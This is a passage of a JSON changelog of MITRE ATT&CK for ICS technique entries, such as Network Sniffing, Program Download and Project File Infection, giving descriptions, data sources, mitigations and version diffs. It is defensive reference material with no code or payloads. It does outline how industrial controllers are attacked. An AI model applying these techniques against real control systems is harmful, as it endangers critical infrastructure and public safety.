Network Traffic", "M0813: Software Process and Device Authentication", "M0930: Network Segmentation", "M0937: Filter Network Traffic", "M0941: Encrypt Sensitive Information", "M0945: Code Signing", "M0946: Boot Integrity", "M0947: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--2d0d40ad-22fa-4cc8-b264-072557e1364b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Monitor Process State", "description": "Adversaries may gather information about the physical process state. This information may be used to gain more information about the process itself or used as a trigger for malicious actions. The sources of process state information may vary such as, OPC tags, historian data, specific PLC block information, or network traffic.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "collection-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0801", "external_id": "T0801" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Human-Machine Interface", "Control Server", "Data Historian", "Field Controller/RTU/PLC/IED", "Safety Instrumented System/Protection Relay" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Controller program\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][1]\": \"Network device logs\", \"root['x_mitre_data_sources'][2]\": \"Process monitoring\", \"root['x_mitre_data_sources'][3]\": \"Netflow/Enclave netflow\", \"root['x_mitre_data_sources'][4]\": \"Host network interfaces\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0816: Mitigation Limited or Not Effective" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--b52870cc-83f3-473c-b895-72d91751030b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-04-13 12:36:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Native API", "description": "Adversaries may directly interact with the native OS application programming interface (API) to access system functions. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: EAttack Native API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as memcpy and direct operations on memory registers can be used to modify user and system memory space.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "execution-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0834", "external_id": "T0834" }, { "source_name": "EAttack Native API", "description": "The MITRE Corporation. (2017, May 31). ATT&CK T1106: Native API. Retrieved April 26, 2021.", "url": "https://attack.mitre.org/techniques/T1106/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: OS API Execution" ], "x_mitre_platforms": [ "Control Server", "Data Historian", "Field Controller/RTU/PLC/IED", "Human-Machine Interface", "Input/Output Server", "Safety Instrumented System/Protection Relay" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2021-04-26 13:47:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Process: OS API Execution\", \"old_value\": \"API monitoring\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][1]\": \"Process monitoring\", \"root['x_mitre_data_sources'][2]\": \"System calls\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0938: Execution Prevention" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--ea0c980c-5cf0-43a7-a049-59c4c207566e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Network Connection Enumeration", "description": "Adversaries may perform network connection enumeration to discover information about device communication patterns. If an adversary can inspect the state of a network connection with tools, such as [https://en.wikipedia.org/wiki/Netstat netstat], in conjunction with System Firmware, then they can determine the role of certain devices on the network (Citation: EAttack System Network Connections Discovery). The adversary can also use Network Sniffing to watch network traffic for details about the source, destination, protocol, and content.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "discovery-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0840", "external_id": "T0840" }, { "source_name": "EAttack System Network Connections Discovery", "description": "MITRE. (n.d.). System Network Connections Discovery. Retrieved May 31, 2018.", "url": "https://attack.mitre.org/wiki/Technique/T1049" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "Process: OS API Execution", "Process: Process Creation" ], "x_mitre_platforms": [ "Human-Machine Interface" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Command: Command Execution\", \"old_value\": \"Process monitoring\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Process: OS API Execution\", \"old_value\": \"API monitoring\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][2]\": \"Process: Process Creation\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0816: Mitigation Limited or Not Effective" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--38213338-1aab-479d-949b-c81b66ccca5c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Network Sniffing", "description": "Network sniffing is the practice of using a network interface on a computer system to monitor or capture information (Citation: EAttack Network Sniffing) regardless of whether it is the specified destination for the information. \n\nAn adversary may attempt to sniff the traffic to gain information about the target. This information can vary in the level of importance. Relatively unimportant information is general communications to and from machines. Relatively important information would be login information. User credentials may be sent over an unencrypted protocol, such as [https://tools.ietf.org/html/rfc854 Telnet], that can be captured and obtained through network packet analysis. Network sniffing can be a way to discover information for Control Device Identification. \n\nIn addition, ARP and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nDetection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "discovery-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0842", "external_id": "T0842" }, { "source_name": "EAttack Network Sniffing", "description": "Enterprise ATT&CK. (2018, January 11). Network Sniffing. Retrieved May 17, 2018.", "url": "https://attack.mitre.org/wiki/Technique/T1040" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "Process: Process Creation" ], "x_mitre_platforms": [ "Field Controller/RTU/PLC/IED" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Command: Command Execution\", \"old_value\": \"Network device logs\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Process: Process Creation\", \"old_value\": \"Process monitoring\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][2]\": \"Netflow/Enclave netflow\", \"root['x_mitre_data_sources'][3]\": \"Host network interfaces\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0808: Encrypt Network Traffic", "M0814: Static Network Configuration", "M0926: Privileged Account Management", "M0930: Network Segmentation", "M0932: Multi-factor Authentication" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--25852363-5968-4673-b81d-341d5ed90bd1", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Point & Tag Identification", "description": "Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables. (Citation: References - tags process comprehension) Tags are the identifiers given to points for operator convenience. \n\nCollecting such tags provides valuable context to environmental points and enables an adversary to map inputs, outputs, and other values to their control processes. Understanding the points being collected may inform an adversary on which processes and values to keep track of over the course of an operation.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "collection-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0861", "external_id": "T0861" }, { "source_name": "References - tags process comprehension", "description": "Benjamin Green. (n.d.). On the Significance of Process Comprehension for Conducting Targeted ICS Attacks. Retrieved November 1, 2019.", "url": "http://www.research.lancs.ac.uk/portal/files/196578358/sample%20sigconf.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Jos Wetzels - Midnight Blue" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Data Historian", "Control Server", "Human-Machine Interface" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Network protocol analysis\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][1]\": \"Packet capture\", \"root['x_mitre_data_sources'][2]\": \"Netflow/Enclave netflow\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0800: Authorization Enforcement", "M0801: Access Management", "M0802: Communication Authenticity", "M0804: Human User Authentication", "M0807: Network Allowlists", "M0813: Software Process and Device Authentication", "M0930: Network Segmentation", "M0937: Filter Network Traffic" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--be69c571-d746-4b1f-bdd0-c0c9817e9068", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Program Download", "description": "Adversaries may perform a program download to transfer a user program to a controller. ariations of program download, such as online edit and program append, allow a controller to continue running during the transfer and reconfiguration process without interruption to process control. However, before starting a full program download (i.e., download all) a controller may need to go into a stop state. This can have negative consequences on the physical process, especially if the controller is not able to fulfill a time-sensitive action. Adversaries may choose to avoid a download all in favor of an online edit or program append to avoid disrupting the physical process. An adversary may need to use the technique Detect Operating Mode or Change Operating Mode to make sure the controller is in the proper mode to accept a program download. The granularity of control to transfer a user program in whole or parts is dictated by the management protocol (e.g., S7CommPlus, TriStation) and underlying controller API. Thus, program download is a high-level term for the suite of vendor-specific API calls used to configure a controller\u2019s user program memory space. Modify Controller Tasking and Modify Program represent the configuration changes that are transferred to a controller via a program download.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "lateral-movement-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0843", "external_id": "T0843" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Joe Slowik - Dragos" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Content", "Application Log: Application Log Content", "Operational Databases: Device Alarm" ], "x_mitre_platforms": [ "Field Controller/RTU/PLC/IED", "Safety Instrumented System/Protection Relay" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2021-04-13 12:52:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Sequential event recorder\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Controller program\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Operational Databases: Device Alarm\", \"old_value\": \"Network protocol analysis\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][3]\": \"Packet capture\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0800: Authorization Enforcement", "M0801: Access Management", "M0802: Communication Authenticity", "M0804: Human User Authentication", "M0807: Network Allowlists", "M0813: Software Process and Device Authentication", "M0930: Network Segmentation", "M0937: Filter Network Traffic", "M0945: Code Signing", "M0947: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--3067b85e-271e-4bc5-81ad-ab1a81d411e3", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-13 15:07:32.143000+00:00", "name": "Program Upload", "description": "Adversaries may attempt to upload a program from a PLC to gather information about an industrial process. Uploading a program may allow them to acquire and study the underlying logic. Methods of program upload include vendor software, which enables the user to upload and read a program running on a PLC. This software can be used to upload the target program to a workstation, jump box, or an interfacing device.", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "collection-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0845", "external_id": "T0845" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Application Log: Application Log Content", "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Safety Instrumented System/Protection Relay", "Field Controller/RTU/PLC/IED" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-13 15:07:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Application Log: Application Log Content\", \"old_value\": \"Sequential event recorder\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Controller program\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][2]\": \"Network protocol analysis\", \"root['x_mitre_data_sources'][3]\": \"Packet capture\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0800: Authorization Enforcement", "M0801: Access Management", "M0802: Communication Authenticity", "M0804: Human User Authentication", "M0807: Network Allowlists", "M0813: Software Process and Device Authentication", "M0930: Network Segmentation", "M0937: Filter Network Traffic" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--e72425f8-9ae6-41d3-bfdb-e1b865e60722", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Project File Infection", "description": "Adversaries may attempt to infect project files with malicious code. These project files may consist of objects, program organization units, variables such as tags, documentation, and other configurations needed for PLC programs to function. (Citation: References - beckhoff project files) Using built in functions of the engineering software, adversaries may be able to download an infected program to a PLC in the operating environment enabling further execution and persistence techniques. (Citation: References - plcdev siemens)\n\nAdversaries may export their own code into project files with conditions to execute at specific intervals. (Citation: Stuxnet - Symantec - 201102) Malicious programs allow adversaries control of all aspects of the process enabled by the PLC. Once the project file is downloaded to a PLC the workstation device may be disconnected with the infected project file still executing. (Citation: References - plcdev siemens)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "persistence-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0873", "external_id": "T0873" }, { "source_name": "Stuxnet - Symantec - 201102", "description": "Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.", "url": "https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf" }, { "source_name": "References - beckhoff project files", "description": "Beckhoff. (n.d.). TwinCAT 3 Source Control: Project Files. Retrieved November 21, 2019.", "url": "https://infosys.beckhoff.com/english.php?content=../content/1033/tc3%20sourcecontrol/18014398915785483.html&id=" }, { "source_name": "References - plcdev siemens", "description": "PLCdev. (n.d.). Siemens SIMATIC Step 7 Programmer's Handbook. Retrieved November 21, 2019.", "url": "http://www.plcdev.com/book/export/html/373" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "File: File Modification" ], "x_mitre_platforms": [ "Engineering Workstation", "Human-Machine Interface" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"File: File Modification\", \"old_value\": \"File monitoring\"}}, \"iterable_item_removed\": {\"root['x_mitre_data_sources'][1]\": \"Digital signatures\"}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0922: Restrict File and Directory Permissions", "M0941: Encrypt Sensitive Information", "M0945: Code Signing", "M0947: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--e1f9cdd2-9511-4fca-90d7-f3e92cfdd0bf", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-04-12 19:26:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Remote Services", "description": "Adversaries may leverage remote services to move between assets and network segments. These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms. Remote services could be used to support remote access, data transmission, authentication, name resolution, and other remote functions. Further, remote services may be necessary to allow operators and administrators to configure systems within the network from their engineering or management workstations. An adversary may use this technique to access devices which may be dual-homed to multiple network segments, and can be used for Program Download or to execute attacks on control devices directly through Valid Accounts. Specific remote services (RDP & VNC) may be a precursor to enable Graphical User Interface execution on devices such as HMIs or engineering workstation software. In the Oldsmar water treatment attack, adversaries gained access to the system through remote access software, allowing for the use of the standard operator HMI interface.(Citation: Oldsmar Water Treatment Attack Feb 2021) Based on incident data, CISA and FBI assessed that Chinese state-sponsored actors also compromised various authorized remote access channels, including systems designed to transfer data and/or allow access between corporate and ICS networks.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "initial-access-ics" }, { "kill_chain_name": "mitre-ics-attack", "phase_name": "lateral-movement-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0886", "external_id": "T0886" }, { "source_name": "FireEye TRITON December 2017", "description": "Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer. (2017, December 14). Attackers Deploy New ICS Attack Framework \u201cTRITON\u201d and Cause Operational Disruption to Critical Infrastructure. Retrieved January 12, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html" }, { "source_name": "Dragos TRISIS December 2017", "description": "Dragos. (2017, December 13). TRISIS Malware Analysis of Safety System Targeted Malware. Retrieved January 12, 2018.", "url": "https://dragos.com/blog/trisis/TRISIS-01.pdf" }, { "source_name": "Dragos IT ICS Ransomware December April 2019", "description": "Joe Slowik. (2019, April 10). Implications of IT Ransomware for ICS Environments. Retrieved October 27, 2019.", "url": "https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/" }, { "source_name": "Oldsmar Water Treatment Attack Feb 2021", "description": "Pinellas County Sheriff\u2019s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021.", "url": "https://www.youtube.com/watch?v=MkXDSOgLQ6M" }, { "source_name": "CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021", "description": "ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.", "url": "https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "Logon Session: Logon Session Creation", "Network Share: Network Share Access", "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "Process: Process Creation" ], "x_mitre_platforms": [ "Human-Machine Interface", "Control Server", "Engineering Workstation" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2021-04-12 19:26:26.506000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may leverage remote services to move between assets and network segments. These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms. Remote services could be used to support remote access, data transmission, authentication, name resolution, and other remote functions. Further, remote services may be necessary to allow operators and administrators to configure systems within the network from their engineering or management workstations. An adversary may use this technique to access devices which may be dual-homed to multiple network segments, and can be used for Program Download or to execute attacks on control devices directly through Valid Accounts. Specific remote services (RDP & VNC) may be a precursor to enable Graphical User Interface execution on devices such as HMIs or engineering workstation software. In the Oldsmar water treatment attack, adversaries gained access to the system through remote access software, allowing for the use of the standard operator HMI interface.(Citation: Oldsmar Water Treatment Attack Feb 2021) Based on incident data, CISA and FBI assessed that Chinese state-sponsored actors also compromised various authorized remote access channels, including systems designed to transfer data and/or allow access between corporate and ICS networks.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021)\", \"old_value\": \"Adversaries may leverage remote services to move between assets and network segments. These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms. Remote services could be used to support remote access, data transmission, authentication, name resolution, and other remote functions. Further, remote services may be necessary to allow operators and administrators to configure systems within the network from their engineering or management workstations. An adversary may use this technique to access devices which may be dual-homed to multiple network segments, and can be used for Program Download or to execute attacks on control devices directly through Valid Accounts. Specific remote services (RDP & VNC) may be a precursor to enable Graphical User Interface execution on devices such as HMIs or engineering workstation software.\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Command: Command Execution\", \"old_value\": \"Windows event logs\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"Logon Session: Logon Session Creation\", \"old_value\": \"Authentication logs\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"Oldsmar Water Treatment Attack Feb 2021\", \"description\": \"Pinellas County Sheriff\\u2019s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021.\", \"url\": \"https://www.youtube.com/watch?v=MkXDSOgLQ6M\"}, \"root['external_references'][5]\": {\"source_name\": \"CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021\", \"description\": \"ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021.\", \"url\": \"https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf\"}, \"root['x_mitre_data_sources'][2]\": \"Network Share: Network Share Access\", \"root['x_mitre_data_sources'][3]\": \"Network Traffic: Network Connection Creation\", \"root['x_mitre_data_sources'][4]\": \"Network Traffic: Network Traffic Flow\", \"root['x_mitre_data_sources'][5]\": \"Network Traffic: Network Traffic Content\", \"root['x_mitre_data_sources'][6]\": \"Process: Process Creation\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Windows\"}}", "previous_version": "0.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may leverage remote services to move between asst1Adversaries may leverage remote services to move between ass
>ets and network segments. These services are often used to a>ets and network segments. These services are often used to a
>llow operators to interact with systems remotely within the >llow operators to interact with systems remotely within the 
>network, some examples are RDP, SMB, SSH, and other similar >network, some examples are RDP, SMB, SSH, and other similar 
>mechanisms. Remote services could be used to support remote >mechanisms. Remote services could be used to support remote 
>access, data transmission, authentication, name resolution, >access, data transmission, authentication, name resolution, 
>and other remote functions. Further, remote services may be >and other remote functions. Further, remote services may be 
>necessary to allow operators and administrators to configure>necessary to allow operators and administrators to configure
> systems within the network from their engineering or manage> systems within the network from their engineering or manage
>ment workstations. An adversary may use this technique to ac>ment workstations. An adversary may use this technique to ac
>cess devices which may be dual-homed to multiple network seg>cess devices which may be dual-homed to multiple network seg
>ments, and can be used for Program Download or to execute at>ments, and can be used for Program Download or to execute at
>tacks on control devices directly through Valid Accounts. Sp>tacks on control devices directly through Valid Accounts. Sp
>ecific remote services (RDP & VNC) may be a precursor to ena>ecific remote services (RDP & VNC) may be a precursor to ena
>ble Graphical User Interface execution on devices such as HM>ble Graphical User Interface execution on devices such as HM
>Is or engineering workstation software.>Is or engineering workstation software. In the Oldsmar water
 > treatment attack, adversaries gained access to the system t
 >hrough remote access software, allowing for the use of the s
 >tandard operator HMI interface.(Citation: Oldsmar Water Trea
 >tment Attack Feb 2021) Based on incident data, CISA and FBI 
 >assessed that Chinese state-sponsored actors also compromise
 >d various authorized remote access channels, including syste
 >ms designed to transfer data and/or allow access between cor
 >porate and ICS networks.(Citation: CISA Chinese Gas Pipeline
 > Intrusion 2011 - 2013 July 2021)
", "changelog_mitigations": { "shared": [ "M0800: Authorization Enforcement", "M0801: Access Management", "M0804: Human User Authentication", "M0807: Network Allowlists", "M0813: Software Process and Device Authentication", "M0918: User Account Management", "M0927: Password Policies", "M0930: Network Segmentation", "M0937: Filter Network Traffic" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--d5a69cfb-fc2a-46cb-99eb-74b236db5061", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-21 17:43:26.506000+00:00", "modified": "2021-10-08 15:25:32.143000+00:00", "name": "Remote System Discovery", "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for subsequent Lateral Movement or Discovery techniques. Functionality could exist within adversary tools to enable this, but utilities available on the operating system or vendor software could also be used.(Citation: EAttack Remote System Discovery)", "kill_chain_phases": [ { "kill_chain_name": "mitre-ics-attack", "phase_name": "discovery-ics" } ], "revoked": false, "external_references": [ { "source_name": "mitre-ics-attack", "url": "https://collaborate.mitre.org/attackics/index.php/Technique/T0846", "external_id": "T0846" }, { "source_name": "EAttack Remote System Discovery", "description": "Enterprise ATT&CK. (2018, January 11). Remote System Discovery. Retrieved May 17, 2018.", "url": "https://attack.mitre.org/wiki/Technique/T1018" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "File: File Access", "Network Traffic: Network Connection Creation", "Process: Process Creation" ], "x_mitre_platforms": [ "Control Server", "Data Historian", "Safety Instrumented System/Protection Relay", "Field Controller/RTU/PLC/IED", "Human-Machine Interface" ], "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-08 15:25:32.143000+00:00\", \"old_value\": \"2020-05-21 17:43:26.506000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Command: Command Execution\", \"old_value\": \"Process monitoring\"}, \"root['x_mitre_data_sources'][1]\": {\"new_value\": \"File: File Access\", \"old_value\": \"Process use of network\"}, \"root['x_mitre_data_sources'][2]\": {\"new_value\": \"Network Traffic: Network Connection Creation\", \"old_value\": \"Process command-line parameters\"}, \"root['x_mitre_data_sources'][3]\": {\"new_value\": \"Process: Process Creation\", \"old_value\": \"Network protocol analysis\"}}}", "previous_version": "0.0", "changelog_mitigations": { "shared": [ "M0814: Static Network Configuration" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [], "dropped": [] } }, { "type": 